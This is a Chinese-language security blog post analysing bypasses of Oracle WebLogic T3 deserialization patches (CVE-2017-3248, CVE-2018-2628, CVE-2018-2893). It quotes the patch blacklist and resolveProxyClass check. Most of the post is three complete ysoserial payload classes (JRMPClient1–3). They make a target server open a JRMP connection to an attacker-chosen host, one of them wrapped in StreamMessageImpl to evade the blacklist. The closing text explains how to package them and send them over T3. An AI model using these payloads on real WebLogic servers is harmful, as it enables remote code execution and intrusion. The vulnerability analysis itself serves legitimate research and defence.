續上一個weblogic T3協議的反序列化漏洞接着分析該補丁的繞過方式,根據weblogic的補丁仍是挺難找的,後面的分析中沒有補丁看不到weblogic修復的細節,可是也不難猜處weblogic的這些修復都是老作法,使用黑名單的方式去進行修補漏洞。html
因爲沒拿到補丁,這裏從廖師傅文章裏面扣除補丁的細節。java
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if(intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces); }
weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream
類的地方添加了一個resolveProxyClass
方法,將resolveProxyClass
給重寫了,添加了一個傳遞過來的數據對應的接口進行遍歷驗證,若是爲java.rmi.registry.Registry
的話就直接拋出異常。若是不爲java.rmi.registry.Registry
就調用父類的resolveProxyClass
。web
在2018-2628的繞過方式其實有兩種,分別是:spring
使用java.rmi.registry.Registry
之外的類的接口,可是其實遠程對象的接口不止java.rmi.registry.Registry
這麼一個。廖師傅這裏提供的繞過方式是將該接口替換成java.rmi.activation.Activator
。便可繞過。安全
在前面的原生readobject分析文章裏面講到過readobject裏面會走兩個分支,反序列化的是動態代理的對象的話就會走resolveProxyClass
分支裏面,這裏去除了Proxy部份內容,也就是說不使用動態代理的方式生成payload進行反序列化天然不會走到resolveProxyClass
分支裏面去。dom
後面的調試內容,其實和前面的都是同樣的,這裏直接講講利用。jvm
利用思路一,不使用代理對象:tcp
package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.util.Random; public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader()); PayloadRunner.run(JRMPClient1.class, args); } }
對JRMPClient作一個小小的改動。post
利用方式二,修改實現的遠程接口爲java.rmi.activation.Activator
:代理
package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Proxy; import java.rmi.activation.Activator; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> { public Activator getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader()); PayloadRunner.run(JRMPClient2.class, args); } }
CVE-2018-2893是CVE2018-2628的繞過,先來查看一下CVE-2018-2628的補丁細節
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
這裏利用方式是將遠程的gadget對象封裝進streamMessageImpl
類裏面,和CVE-2016-0638同樣,不過這裏用的是JRMPClient的gadget。
在改寫的時候須要,注意幾個細節。JDK裏面沒有streamMessageImpl
類,這裏須要講weblogic的一些依賴jar包和類的代碼給複製過來。這裏是講weblogic_cmd裏面的部份內容扣出來放到了yso裏面。
package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import weblogic.jms.common.StreamMessageImpl; import ysoserial.Serializer; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> { public Object streamMessageImpl(byte[] object) { StreamMessageImpl streamMessage = new StreamMessageImpl(); streamMessage.setDataBuffer(object, object.length); return streamMessage; } public Object getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID objID = new ObjID(new Random().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port); UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler); return streamMessageImpl(Serializer.serialize(object)); } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列繞過度析
其實知道繞過方式和利用方式後,從yso進行一個修改打包成jar包,使用到上次2017-3248的時候用到的exp修改參數,經過T3協議發送payload過去就能夠實現繞過了。和前面的內容都是同樣的都是同一個漏洞,因此在這裏不作多的贅述。